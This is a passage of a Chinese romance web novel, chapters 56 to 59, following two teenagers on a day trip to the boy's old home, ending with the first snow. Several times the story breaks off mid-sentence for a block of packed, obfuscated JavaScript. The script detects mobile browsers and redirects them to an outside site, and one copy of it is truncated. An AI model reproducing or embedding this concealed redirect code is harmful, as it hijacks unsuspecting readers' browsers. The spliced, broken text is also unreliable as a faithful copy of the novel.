“吃过了当夜宵嘛,这个点肯定饿了,你们两个一起吃。”陈青抱着胳膊倚着门。 闻竹诧异道:“我说你刚刚在厨房忙什么,你就忙着煮这些饺子呢啊。” “是啊,”陈青点头,“泊松也是我从小看到大的孩子,他也没比你大几天。” 闻竹会意道:“他现在挺好的。” 她已经下了门口的最后一级台阶,陈女士突然开门出来,叫她名字,补充道:“竹子,到家了告诉我们一声,晚上记得把门反锁。” 几乎每次都是一样的话,闻竹听着,能在心里猜到下一句是什么:“知道了妈,外面冷,你回去吧。” 陈青这才看到她裸露在夜晚冷空气中白皙的脖颈,她怒道:“围巾是让你用手拿着的么,戴上!” 闻竹不敢反驳,乖巧地戴上了围巾,闻灿探出脑袋说:“拜拜,姐姐。” “拜拜,灿宝。”围巾把她本来就小的脸遮了大半,“我下周也回来。” 听到了她的许诺,闻灿努力地点了两下头。 - 闻竹回到家第一时间给家里人发了消息报平安,又给李泊松发消息问他在不在家,她妈妈给他带了饺子。她妈妈马上回了消息,李泊松那边却迟迟没信。 闻竹也不等他,自己烧了热水,回到卧室翻开卷子开始写。因为感觉今天状态不是很好,所以挑了擅长的英语出来。 没过多久,闻竹觉得头有些晕,还伴随着一点恶心,她想会不会是供暖导致温度太高的原因。 四季学府虽然是个半新不旧的小区,但供暖这方面做得出乎意料地好,冬天在房间里穿单衣完全没问题,上次他们几个一起开腾讯会议学习的时候,闻竹发现李泊松穿的是半袖。 但现在是十一月份,就算温度高也不应该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【一支竹子:嗯。】 闻竹只回答了第二个问题。 之后她看到了李泊松的下一条微信。 【L:等我一会儿。】 56. 短途之行 李泊松陪闻竹挂了三天的吊瓶,晚秋来势汹汹的流感才灭了势头,但病去如抽丝,她又咳嗽又流鼻涕地度过了期中考试,十来天后才好得差不多。 半个月后的周日,闻竹和李泊松在出发前早早收拾好了并不多的行李。闻竹莫名地兴奋,不到五点半就睁开了安静,简直比上学时还勤快。她醒后就没再睡着,坐在书桌前刷了一套题,这才去洗漱。 卫生间明亮的灯光让她眼下的乌黑无处遁形。闻竹叹了口气,一边觉得自己没出息,一边溜进陈青的房间去偷用她的“贵妇”遮瑕。 通过安检进入高铁站后,李泊松抬头看着大屏上的车辆信息,和闻竹一起乘扶梯到二楼。站在他旁边的闻竹打了今天的第n个哈欠,引得他侧头去看。 “怎么困成这样?”他好笑道,“难道是因为要出去玩太兴奋?” “……”一下子就被他说中了心事,闻竹面子上有些挂不住,只漂亮地瞪了他一眼,没回话。 她不回话还有另外一个原因,就是感冒虽说是好了,但嗓子不知道怎么回事,迟迟不好,昨天严重到话都说不出来。今天尝试着交流两句,能说话了,但还是哑。 李泊松替她的嗓子着想,话说得也没有平时那么多了,闻竹身边的李泊松突然变成了哑巴版的,她自己竟然有些不习惯。 大屏上的车次信息已经从“候车”更新成了“检票中”,闻竹想先去下卫生间,因为嗓子像在被刀片割一样疼,于是没说话,拍了拍李泊松的胳膊,在他看过来后抬手朝卫生间的方向指了下。 闻竹在卫生间出来后走了几步,一眼就看到了李泊松的身影。 这人等车就是等车,什么都没做,双手插在黑色冲锋衣的兜里,靠在椅背上看着远处滚动的大屏。闻竹发现他头发好像长了些,垂眸的时候落在额前,看起来好像等着拍杂志封面的男模。 李泊松大概能察觉到她的视线,在她快走到身边时就抬起了头。 两人没有行李箱,他单肩背着自己的包,拎着闻竹的包起身,问她带药了吗。闻竹点头。他又问吃药了吗,闻竹的动作顿了顿,摘掉口罩,拧开矿泉水,效率很高地在他面前拿出药吃掉。 “我就知道……”看到这情景,李泊松转而无奈道:“我们今天都要这么交流么?” 闻竹清了清嗓子,刚要开口,他就把手搭在唇边做了个嘘的手势:“嗓子疼就别说话了,这个给你。” “嗯?”闻竹没开口,嗓子眼里发出这么个单音节,眼神明显带上了点疑惑,“你……?” 后边的话含糊得听不清了。 李泊松失笑:“没有,不是随身带的,喏,那儿有家药店。” 闻竹的眼神顺着他指的方向看过去,歪头给李泊松比了个大拇指,而后接过他递到手里的含片。西瓜霜,粉色包装,闻竹拆开,把一袋中的两粒都扔进嘴里。 有了含片之后嗓子舒服很多,闻竹在家里的微信群发了一张照片,表示自己已经在高铁站了。陈青问她:没有忘记吃药吧? 闻竹说吃了吃了。 她回复得很及时,还说了两遍,颇有些笃定中透露着点骄傲的意思。 回了消息后,她伸手摸了下兜,除了刚才李泊松给的那盒含片外什么都没有,她把手里放在腿上,又去翻找另一个,另一个空空如也。闻竹终于开口了,他问李泊松:“你看到我的身份证了吗?” 刚刚进站还刷了,现在不知道哪里去了。 李泊松垂了下眼,把手伸进自己的兜里,用食指和中指闲闲地抽出一张身份证,他一看,正巧就是闻竹的。这身份证应该是她十三四岁的时候拍的,那时候比现在更稚嫩一些,很可爱。 “你去卫生间的时候和包一起塞给我的。” 闻竹恍然想起来了,“哦”了声。 李泊松觉得在感冒的影响下闻竹的反应好像慢了点,挺好玩的。他又想,但还是别再感冒了,脸色都变差了。 - 李泊松上车后确认了一下座位号,把两个人的包放在座位附近的行李架上。他们两个坐是车厢最后边,李泊松知道闻竹喜欢靠窗的地方,把A座让给她。 在感冒药的副作用下,闻竹有点困,看了会儿窗外眼皮就渐渐沉了起来。李泊松正拿着湿巾擦他们两个面前的小桌板,高铁上照例开始播报通知,她看着窗外的景象飞速倒退,因为视觉暂留在视网膜上留下秋冬之交的剪影。 几分钟后,高铁驶入山下的隧道,闻竹用手支着头,靠着车窗昏昏欲睡,但有时候是越困越睡不着的。手机响了两声,她拿出来看,是曲思嘉的消息,闻竹用高铁上并不顺畅的网速和她艰难地聊了几句。 屏幕上突然弹出系统提示,“不是你的AirPods”,她面无表情地叉掉继续聊,之后没过几秒又弹出来。再一再二还有再三,闻竹瞥了旁边的李泊松一眼,无语又很真诚地问他:“你是太闲了吗?” “啊,”李泊松颇为抱歉地笑了下,听话地把耳机扔回兜里。“好像是有点无聊,你不补觉么?” 闻竹没说话,就看着他的眼睛。 李泊松和她对视几秒就把脸错开了,他现在没法长时间地看着闻竹的眼睛,也不敢让闻竹看进他的眼底。 他这边春心荡漾,闻竹心里想的却和他完全不同,她像变魔术似的从自己的大衣兜里抽出了一支黑笔递过去,朝李泊松抬了下下巴:“那你默写吧,《赤壁赋》。” 话刚说完,李泊松看到闻竹伸手抽出了前边放着的清洁袋。 “……”他简直目瞪口呆,最后却只问:“为什么又是《赤壁赋》?” “嗯?”其实是因为闻竹自己喜欢这篇,但她不说,胡扯道:“马上第三次月考了,我帮你压题啊。” 明明期中刚考完。 “行。”不管她的理由是什么,李泊松都全盘接受。“你安心睡吧。”他拔开笔盖,把遒劲潇洒的三个大字写在白色纸袋的最上边。刚写了三个字,他就转头问闻竹:“你睡多久啊,闻老师,这一篇几分钟就写完了,再留点作业?” 闻竹心说你演起来还没完了,她刚把自己的羊毛围巾搭在腿上,闻言随口敷衍道:“那你就慢点写,我睡了。” 之后人虽然不再说话了,表情却仿佛挂上了“勿扰”的牌子。 大概是时间太早,高铁车厢里虽然闲座不多,却很清净,李泊松听话地把赤壁赋从头到尾默写了一遍,写到最后一句“相与枕藉乎舟中,不知东方之既白”时,他问闻竹:“你睡着了么?” 闻竹说:“睡着了。” 李泊松轻笑了声,没再打扰她。 最后一个句号落在纸面上后,李泊松盖上笔盖,看着闻竹的侧脸。她盖着大衣,膝盖上是那条看起来就非常柔软亲肤的围巾。闻竹今天散着头发,李泊松再一次感慨她头发长得快,半年过去又变成长发的女生了。 在学校的时候,他看过很多次闻竹在桌边睡觉的身影,但现在换了个场景,于他而言就又不一样了。 - 闻竹在途中就醒了,现在虽然脑子清醒过来了,但肚子空空。出站后,他们直接坐扶梯下楼去乘地铁,她刷完身份证后又把这种重要的东西随手塞进了李泊松兜里,走了两步之后却意识到他站着不动了,凑过去后,发现这人在看路标。 “……你找不到家?”闻竹诧异道。 李泊松笑笑:“差不多吧,忘了。”他指了指站牌问旁边的女生:“饿了吧,要不要先去吃饭,这边离商圈不远,地铁两站就到了。” 闻竹摇头:“去你家那边吃吧,带我去尝尝你爱吃的店。” 两人对视的工夫,后边的轨道上,去往相反方向的地铁响起了车门关闭的提示音,又从他们身后飞驰而过,闻竹眼前玻璃的反射中看到了他们两个的影子。李泊松笑了下:“这边好吃的很多,你应该会喜欢。” 李泊松在宁城住的房子离这个高铁站并不近,他们从一号线转三号线,将近一个小时后才“重见天日”,闻竹上次来宁城已经是几年前的事了,她有点好奇地四处张望了下,想着要不是李泊松在快下车之前给她拿了面包吃,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533976|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这会儿肚子就已经饿扁了。 “饿坏了吧?”李泊松听到她肚子叫了,笑了下。 闻竹半点不尴尬,她“嗯”了声:“吃面吧,你想吃吗?” “行,”他自然没意见:“听你的。” 顺着这条路走几分钟就能走到李泊松原来住的那个小区门口,他边走边问闻竹怎么那么容易饿,明明这么瘦。 “不知道,我好像一直这样,正经吃饭的时候吃不了几口就饱了,但是饿得很快。” 李泊松笑笑:“不都说减肥要少食多餐,这么吃饭就不胖是吧?” 闻竹手揣在兜里,闻言偏头看他,诧异道:“这你都懂?你挺博学啊。” “我懂什么,”他语气无奈,“毕雨泽不是一直吵着要减肥,这都是听他说的。” 闻竹一直认定自己是不爱聊天的人,和李泊松在一块却从不冷场,好像一直有话说,她把这种情况归结为李泊松健谈。两个人有一搭没一搭地聊着天,闻竹依然是说得少听得多,没一会儿就走到了店门口。 店面不大,装潢也简单,闻竹喜欢这两面大玻璃窗,拽着李泊松去那边坐。李泊松说:“天这么冷,门口这儿漏风,你还感冒呢。” 闻竹顿了顿,看起来有点纠结,李泊松看她这样,又不劝了,说先坐下,觉得冷再说。 老板听到了声音从后厨出来,沾了些许面粉的手习惯性地在围裙上蹭了下。他见到李泊松之后短暂地惊讶了一会儿,黝黑的脸上露出一个慈祥的笑:“小帅哥,你来了啊,你得有半年没来我这了!” “叔,”李泊松笑了下,也客气道:“我年初的时候搬到临城了,这不一回来就过来了,还带了朋友。” 老板看向闻竹,“头一次见你带朋友过来,吃好啊。” 闻竹礼貌地朝老板点头又弯了下唇角。 人走了之后,她收了笑,支着下巴饶有兴致地盯了李泊松一会儿,疑惑道:“这条街上的店主不会都认识你吧?” 李泊松弯唇:“说什么呢,我又不是人民币。” 闻竹正低着头挽毛衣的袖子,被这句话逗得笑了声。 面上得很快,闻竹在吃面上不挑嘴,能把一大碗都吃干净。她坐的地方偏头就能看到挂着的液晶电视,屏幕最下边是滚动的天气预报,说宁城今晚有雪。 闻竹短暂地高兴了一下,忽然想到晚上他们就走了,又觉得有点遗憾。 “怎么了?”李泊松很认真地在吃面,但也察觉到了闻竹一直在抬头看电视,他回头看了眼,上边正在播一个和林业相关的新闻。“你感兴趣?” 闻竹指了指电视机,示意他看错地方了,叫他看下边的天气预报。 “天气预报说晚上下雪,但是晚上咱们就走了,估计是看不到。” 李泊松回忆了下,去年的初雪也差不多是这个时候。他笑话闻竹:“从小在北方长大,还这么喜欢雪啊?” “对啊,”闻竹坦然道,“就是喜欢,没有理由。” 他们两个回程的票在下午五点半,李泊松划拉了两下手机,问她:“看了雪再走?我看这有九点多的票。” 他的行动力真是体现在每时每刻。 闻竹简直呆住了。她感慨完,看李泊松这么认真又有点不好意思,她很现实地问:“十二点到家,你明天还上不上学啊?” 李泊松刚刚是真的在考虑这个选项,但他看出闻竹没有这个意思,反而逗起她来:“不上了。” 闻竹见招拆招地陪他演戏:“那干脆明天再回去。” “嗯?太胡闹了吧。”李泊松笑。 闻竹故作惊讶:“这话说的,好像你是什么乖宝宝。” 一来一回打了个平手,这才安静吃饭。一碗色香味俱全的汤面祭了五脏庙,闻竹心满意足地靠在椅背上。 透过明亮的窗子,看着外面车流穿梭的路口,直到现在才有了接触到李泊松那几年生活的实感。闻竹不禁去想,他以前是不是经常路过这里?是不是也在饥肠辘辘的时候来吃过这样一碗热气腾腾的面? 57. 安慰拥抱 出了店门后,一阵冷风毫不客气地扑面而来,闻竹把颈间的围巾裹紧了些,刚喝过热水让她觉得周身都泛着暖意。 刚才进店门的时候没关注其他,闻竹这才看到小区近在眼前,一转弯就到了。 李泊松没报什么希望地尝试着刷了下门卡,竟然真的能打开门,他让闻竹先进去,路过保安室的时候还朝里面打了个招呼。 保安大爷开了窗子探出头来:“小伙子你回来了啊。” “叔,”他笑笑,“最近好吗?” “嗨,挺好的,一直老样子,你呢?” 他点头。 闻竹看他们又轻松地聊了两句,没一会儿李泊松就两步追上她,把她往旁边拉了下,笑她:“张望什么呢,后面有车。” “等你带路啊。” 小区很大,李泊松走在靠马路那侧,告诉她:“我爸出事前我们两个住在这儿,后来我住在我姑姑那儿,就是我表姐家,离这也不远。” “嗯,”闻竹点头,“初夏她家,是吧?” 李泊松听到后反应了一会儿才说:“喂,闻竹,你怎么不叫她姐?” “你叫姐我就得叫姐啊,”她说,“我们两个算是朋友。” “行,”李泊松和她争论从没赢过,他笑笑,再走进这里,觉得心情已经不一样了。 他接着说:“那时候我表姐读大学,不怎么回家,我在姑姑姑父那儿住了一年半。” “他们对你好吗?”闻竹问。 上次听李泊松说这事的时候她就想问这个问题了,但心里知道他不想多说,就没开口。 李泊松有点惊讶,他抿了下唇,语气轻松道:“我以为你会好奇为什么那个时候我妈没有接我过去。” 闻竹抬眸看着他,她的眼底清澈,像晶莹剔透的宝石。 “我只在乎这个啊,你没有不开心就好,其他的事你不想说也没关系。”她想了想,补充道:“我前段时间和你吵架也不是在逼你说这些,我不想再看到你不开心。” 李泊松点头:“我知道。” 闻竹叹气:“我知道你知道。” 后来李泊松和闻竹都想通了,前段时间那一次是他们两个从小到大吵的最值得的架,因此那次分歧,闻竹看到了李泊松从未显露出来的不安全感,他不想说是不想让自己的情绪成为他人的负担。而李泊松也懂得了一件事,闻竹会生气是因为她真的关心在意他。 不想逼他,又想拉他一把,李泊松弯着眼睛想,她当时纠结得不行吧。 “他们都是很好的人。”闻竹没问,李泊松自己说了:“那时候我妈怀孕了,是需要别人照顾的时候,顾不上我。”闻竹没把惊讶表露出来,就安静地听。李泊松带她走进一个单元门,刷卡等电梯。 “我姑姑是大学老师,今年年初的时候接到通知要出国交流一年,我妈就想着给我办转学手续,其实我在哪儿都觉得打扰……”李泊松说着话觉得词不达意,又有卖惨的嫌疑,干脆略过这一段。 二月末一中开学的时候李泊松在忙着找房子,没敲定之前都在他妈妈那里住。他觉得他一去就好像打破了某种平衡一样,所有人都觉得别扭,当时就意识到自己搬出来这个决定是十分明智的。 他看闻竹很久没开口,却听得认真,有意打破这种氛围:“闻竹?你要不要看看我的摩托车?”他笑了下,“在车库里,特别帅。” 闻竹看出他想活跃气氛,却半点不领情。 看不出我心疼么?真是的。 她一手拍在李泊松胳膊上,隔着厚厚的外套,一点儿伤害性都没有。 两人对视半晌,她才别扭道:“走吧,看看有多帅。” - 从车库出来后,两人乘电梯上楼,李泊松给她开了门,感觉屋内比电梯里还要冷 他有些抱歉道:“嗯,先进门。今年没供暖,大概会很冷,别脱外套了。” 闻竹进门之后站在门口没动,李泊松反手关门,忽地想起了她第一次来自己在四季学府租的那间房子的时候。那时候她也是站在门口不动,眼睛却不闲着,四处张望。 那时候是春天,也穿着厚厚的衣服。这么看起来,场景几乎重合了。 李泊松在后边轻轻地推了下她后背,笑道:“进门吧,这儿没有拖鞋给你换,不用在意。” 于是闻竹走进房子。 这套公寓在宁城寸土寸金的商圈附近,闹中取静,视野和环境都好,阳台上一扇大落地窗,闻竹走到落地窗前往外看去,小半个城市的建筑尽收眼底。能看得出有人特意地保持着房间的原样,好像一直有人住在这里一般。 李泊松躬身半蹲在电视机前的柜子那儿翻找着什么,他看到闻竹回头,招手示意她:“来我这里。” 闻竹走过去,也在他旁边蹲下。 “在找什么?” “找到了。”他朝闻竹眨了下眼睛,翻出了两个游戏手柄晃了晃,“还记得这个吗?” 他们两个脑袋凑在一起,闻竹点头:“咱们小时候总用这种手柄打游戏,当然记得。不过已经很久没人用了吧,这边还有呢?” “嗯,我爸那人比较……”他想了个词来形容,“怀旧。” 他把一只手柄塞给闻竹,另一端插好,电视显示屏亮起,李泊松朝她笑:“是不是感觉回到了小学?” “嗯,”闻竹在他身边盘腿坐好,面对着好多年没有接触过的东西,确实有种时空重叠的感觉。 科技的齿轮向前滚动,这些代表着她童年的游戏设备被遗落在尘土飞扬之后。 李泊松开了一把他们两个小时候最爱玩的游戏,朝闻竹挑了下眉:“比一场?” “比呗,”闻竹欣然应战,听到旁边这人说:“小学的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546691|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候你玩这个一直赢不了我。” “嗯?”她总和李泊松在一起,自然学会了那一套不要脸的招数,于是闻竹半点羞愧都没有地说:“那是我让着你。” “是吗?”李泊松还是笑。 他看出了闻竹今天的不一样。她在注意他的情绪,换句话说,就像是……在哄他似的。 第一局很快结束了,李泊松和闻竹互不相让,最后是李泊松赢了。闻竹带着点情怀玩得很高兴,并不会在这上面计较输赢问题。李泊松想好不容易又找到了和他一起玩这个游戏的人,因而很兴奋,也很尊重对手,用百分之一百的专注力来玩。 打游戏是很消磨时间的事情,也可以说,凡是能让人沉浸的,都是能消磨时间的。 两人坐在电视机前握着手柄,眼睛看着屏幕,盘着的腿偶尔蹭在一起,你赢我输你输我赢,谁也不知道过了多久。 还是按门铃的声音把他们从游戏中叫回现实的。李泊松很没责任心地扔下了刚开局的游戏,翻身起来去门口开门,他操控的人物在他离开后几秒钟就掉进陷阱了。 闻竹对来者很好奇,没了对手后也放下了手柄,微微仰着脖子想看看怎么回事。 她听到李泊松说了谢谢,之后拎了两杯奶茶过来,是她前段时间常点的那家,连加的小料都不差。 “你什么时候点的?”闻竹惊讶道。 “刚才进门之后。”李泊松觉得闻竹惊讶的表情实在是过于有趣,他把奶茶和习惯一齐递给她,又把外包装扔进了客厅的垃圾桶,最后实在没忍住笑了下:“我总不能让你来挨冻啊。” 闻竹也笑了,把习惯插/进去喝了一大口,心满意足的同时看到了标签上贴的“热/全糖”标识。 因为刚才两人双双不战而败,喝着奶茶的时候李泊松拿着遥控器去翻战绩。 这个游戏只显示三个战绩,金银铜。金牌后边的分数是他自己打出来的,银牌是属于闻竹的,铜牌也是他刚刚打的。 李泊松对奶茶和甜品都不热衷,这次和闻竹点了同样配料和甜度的一杯,喝了几口觉得真甜蜜,再喝几口,觉得甜到有点齁了。 他看着闻竹认真地抱着奶茶喝,语气轻松地说:“在今天之前,最上边的战绩是我爸打出来的。” 闻竹嚼着椰果的动作顿了顿,漂亮的眼睛看向旁边的男生。 “我之前打游戏的时候经常特意慢一点,或者让自己失误一下还不至于死掉,为了保留我爸当时那个战绩。我每次打开这个游戏的时候就会觉得他还在,很安心。” “那今天怎么……”闻竹轻轻开口。 “今天啊,今天我不是决定对你敞开心扉么,我决定往前看。”他的眼神坚定又平和。 闻竹放下手里的奶茶,稍稍倾斜身子,给了他一个短暂的拥抱。李泊松错愕到身体僵硬,在闻竹收回胳膊前回抱了她。 58. 二人合照 午饭是十一点吃的,喝到热奶茶时是十二点,在这之后,闻竹又陪李泊松打了十几把游戏,之后两人靠进沙发里看电视。 李泊松刚进门就开了空调,温度没多久就升上来了。闻竹从小在北方长大,冬天集中供暖,从没在这时候打开过空调,她发现空调的效果比不上地热,但还是能起到很大作用的。 说是看电视,实则电视机开着只是起到了一个让家里有人气的作用,两人天马行空地聊着天,气氛轻松得让人昏昏欲睡。 李泊松看她困了,在旁边拍了两下她的胳膊,吓唬她:“别睡啊,醒了冷又得感冒,好不容易不咳嗽了。” 闻竹赶苍蝇似的挥开他的手,想了想,起身转了两圈,在卫生间简单洗了把脸。 这房子虽然没供暖,水电却一直没停,闻竹咋子卫生间里开着明晃晃的照明灯,之后她把灯关掉,探出头去问李泊松:“我能去你的房间看看吗?” “当然。”李泊松答应得很痛快,放下手机从沙发上起身,指了个方向道:“直接开吧,没锁。可能会有点灰,别待太久。” 闻竹本以为他也准备去他的房间,没想到李泊松对自己的隐私毫不在意,对她也是放心得很,这人起身后去了另一间卧室。闻竹只好又问他:“我能不能看你的书架呀?” “可以,都可以。”语气听起来很随意。 闻竹对李泊松的书架并不陌生,他在小学时就拥有自己独立的书架,上边推理偏多、科幻也有,纯文学他几乎不看。闻竹对看书这事虽没有曲思嘉那么热衷,但也喜欢看各种故事。 她靠在书架旁随手拿了本小说翻,津津有味地看了几页,书的主人就走过来站在门口了。 闻竹看得投入,直到脸侧的发丝滑落下来挡住视线才抬起头,李泊松就那么懒洋洋地倚在门口,也不叫她。 她把那缕头发别到耳后,纳闷道:“你在那儿站着做什么?”而后又招招手,示意他过来。 “这本你看过吗?” 李泊松看了眼封皮,点了下头。 “看过是看过,但剧情忘得一干二净,结局也不记得了。” 闻竹算了算时间,觉得两三年过去了,忘掉了剧情是很正常的事,大概也表示这本书没那么好看。 她往后翻了翻,发现整本书都没有折页和划线,没什么看过的痕迹,干净利索得像他这个人。反观闻竹自己,看书的时候少不了要划线做记录。 把这个发现说给李泊松后,男生笑笑:“你比较,不拘小节嘛。” 闻竹翻了下眼皮。 推理小说是拿起来就放不下的东西,她看了十分之一就开始好奇后边的剧情,于是和李泊松借了这本书。李泊松那个书架满满当当的,闻竹挺喜欢。 他看出来了,说:“一会儿叫个上门取件,寄到你家去。” “……”闻竹有时候对他的决策非常惊讶,她忙摇头,“不用不用,哎,我还要学习呢!” 李泊松被她如临大敌的表情逗笑了,接过她手里的书准备一会儿放进自己包里,闻竹手里一空,又开始寻觅其他有意思的东西。 她骤然看到了一个粉色的信封,手指刚划过去就反应过来是什么了,她眯了下眼睛,看向门口的人。 两人的视线在空中相撞,闻竹把手收回,推着他出了卧室,什么都没说。 倒是李泊松看起来有点失望,好像希望她说些什么似的。闻竹看穿了他的想法,故意换了话题。 他们没在这待太久,时针刚过一点就离开了。李泊松锁上门,又把过去的一切锁在了房间里。 大概是因为都是北方,距离也不远,这里和闻竹从小长大的城市没什么大区别,还是内陆。但是闻竹依然很有兴致地规划了下午四个小时的计划。 今年冬天不算冷,十一月末穿毛呢大衣戴围巾没问题,但是冷风依然冷酷,刮起来的时候半点不留情面。李泊松路过一家便利店买了个特别丑的耳包给她,自己扣上了冲锋衣的帽子。 闻竹被丑得头疼,瞪了他好几眼,最后却还是扛不住严寒冷风,乖乖把它扣在了耳朵上。 按照闻竹的计划,下午要先去李泊松读的中学看一眼,顺便在那附近乘地铁去宁大。宁大到高铁站这条线上有个公园,最近在举办图书集市。 闻竹在逛高中门口的文创店,站在货架前挑冰箱贴,李泊松站在旁边听她说一会儿的计划,满肚子都是问题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566676|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“为什么要去宁大?” “想去看看啊,我不能有名校情结啊。”闻竹瞥他一眼,“而且,你不是想去宁大?” 李泊松似是无意地问,“那你呢?” 闻竹挑冰箱贴挑得眼花缭乱,随口答道:“我啊,我没想法。” “……”李泊松又问:“那这个图书集市是这么回事?” 在他印象里,闻竹好像对这种地方没什么兴趣。 “思嘉要过生日了,看看能不能给她挑点礼物,她喜欢这些。” 出门了还想着这个那个的,李泊松心里酸溜溜地想。 闻竹挑好了战利品,笑着拍了下他的胳膊:“想什么呢,走啦。” 两人在便利店门口买了热气腾腾的关东煮,闻竹背对着李泊松,让他把冰箱贴放进自己的书包。夏日的绿荫到了冬天光秃秃的几片叶子,树很高,路很长,周末的校门口很寂静,他们沿着路边走,食物的香气飘了很远。 李泊松在闻竹的影响下学会了踩点,他们刷身份证进站时滚动屏上已经显示检票中了,坐到车上时,李泊松把靠窗的位子让给她,闻竹心心念念宁城的雪,在车开走前还拍了张站点的照片。 昼短夜长,这个点太阳早就落下去了,天已经很黑了。 李泊松饶有兴致地透过她的取景框看着车窗外边,闻竹却忽地回头,目光灼灼地看着他。 在这种直白的眼神下,李泊松一怔,问:“怎么了?” “我们有合照吗?”她问。 “有吧。”李泊松答完后才意识到,好像是没有的,没有单独的合照。 他们两个都脸好腿长,但没一个爱拍照的。闻竹偶尔还拍拍落日和花花草草,李泊松非必要不点相机这个app。 闻竹兴冲冲地提议道:“凑过来点!” 她看李泊松看着她不动弹,只好往他那边靠了靠,点了下反转镜头的键:“我们拍张照片,笑一下。” 拍完照片后闻竹发现,李泊松这人是不爱拍照,但镜头感还蛮好的嘛,眼角那颗痣显得眼睛温柔又有神。 收到闻竹照片的李泊松放大看了看,发现闻竹又笑出一个酒窝来,在他反应过来时已经点了两遍保存。 59. 初雪降落 两小时的高铁,闻竹在座位上戴着耳机看下午的那本小说,李泊松在她旁边摆弄手机,不到两分钟就忍受不了车上的网速了,他想和闻竹聊天,奈何闻竹看得入迷,根本不理他。 于是他不客气地摘掉了旁边人的耳机,闻竹换了个更舒服的姿势,依旧没说话。 在跌宕起伏的剧情后是一章的高潮点,看完这个巨大的反转后,闻竹把书扣过去放在膝上,偏头去看李泊松。 这人垂着眼睛在看手机,专心致志的,似是没注意到她的目光。 闻竹的好奇心被勾起来了,凑过去问他在做什么。 李泊松斜了下手机屏,给她看自己的消消乐战绩。 车窗外漆黑一片,什么都看不清,闻竹坐在了窗边,眼睛却一直在书页上。她是注意力非常集中的人,做事情很少受环境影响,这样一来,两小时的车程,这本三百页的书只剩下一个结尾了。 整个剧情已经揭秘了,最后这一章更像是主人公的人生经历和忏悔录,闻竹呼出一口气,简单收拾了一下自己的东西,把最后的部分留着回家看。 李泊松还在玩消消乐,闻竹凑过去看了几眼,动手指给他消了两个。 车速缓缓下降,平稳地停靠临城南站。闻竹一偏头,小声地惊呼了一下。 这声“哇”吸引了李泊松的注意力,他也转过头,带着笑意看向旁边的女生。闻竹转头拍了两下他的胳膊,给他指车窗外。 站台上的灯光洒落下去,映照着簌簌飘落的雪,地面上已经覆盖着薄薄一层莹白,闻竹兴奋地下了车,脚踩在地面上时还兴奋得有种不真实感。 “你小心点,地滑。” 李泊松轻轻地拉住了她的领子,被闻竹反手打了一下,手掌和手背相碰发出清脆的一声。 闻竹似是也没想到这一下这么重,惊讶道:“疼了吧?” 李泊松哭笑不得:“没有。” 两人顺着人流走出站口,初雪和灯光将整个城市映照得亮堂起来,闻竹头发沾上了雪粒,伸手去接落下的雪。 李泊松没有她那种喜欢雪天的情怀,但是也免不了被她的兴奋感染。他拿出手机晃了下,说:“你转过来,我给你拍照。” 闻竹欣然答应,又匆忙把下车刚戴上的耳包摘下来塞到李泊松怀里:“你帮我拿一会儿。” 言语里毫不掩饰对它的嫌弃。 李泊松拍照没什么技术可言,毕竟疏于练习。但他态度端正,把闻竹拍丑也很难,所以出片的速度很快,闻竹本人还没说什么,旁边人念念有词:“拍得真好看,你看我是不是挺有天赋的?” 因为陈女士的工作缘故,闻竹也算和摄影渊源颇深,多少懂一些,她无语了一瞬,还是顺着他说:“嗯嗯,太棒了。” 之后他把照片传给闻竹,在路边等了几分钟,叫的车就到了。 进入小区已经临近十点钟了,李泊松把闻竹送进单元门,还想把她送到家门口。闻竹忙摆手,觉得没必要。折腾了一天,都累坏了。 回家把手机充上电,进浴室洗了个澡后,李泊松穿着白T恤出来,头发还隐约有些滴水。他本想拖一下地,收拾下房间,但难得懒起来不想动,拿起手机随意地刷了下朋友圈。 直到这时他才看到闻竹刚刚更新了八百年不发一次的朋友圈,配文是两个字“初雪”,配图是他刚刚拍的那张照片。他先点了赞,之后往下翻下边的评论。 【曲思嘉:你好女士,我是一只被你美昏头的鲨鱼,可以和我拍一张昏鲨照吗/玫瑰/玫瑰】 【毕雨泽:闻姐,请出道】 【路一杭:原来你微信有朋友圈这个功能/惊讶】 李泊松没凑这个热闹,放下手机起身去浴室简单吹了下头发,倒回床里。他盯着壁灯昏黄的光,想到下午的那个拥抱,感觉很奇妙。他明明不想把那段时间的事说给闻竹听,不想让她知道自己那段堪称堕落的时候,却又希望她知道,渴望她的关心和偏向。 他大概是病得不轻。 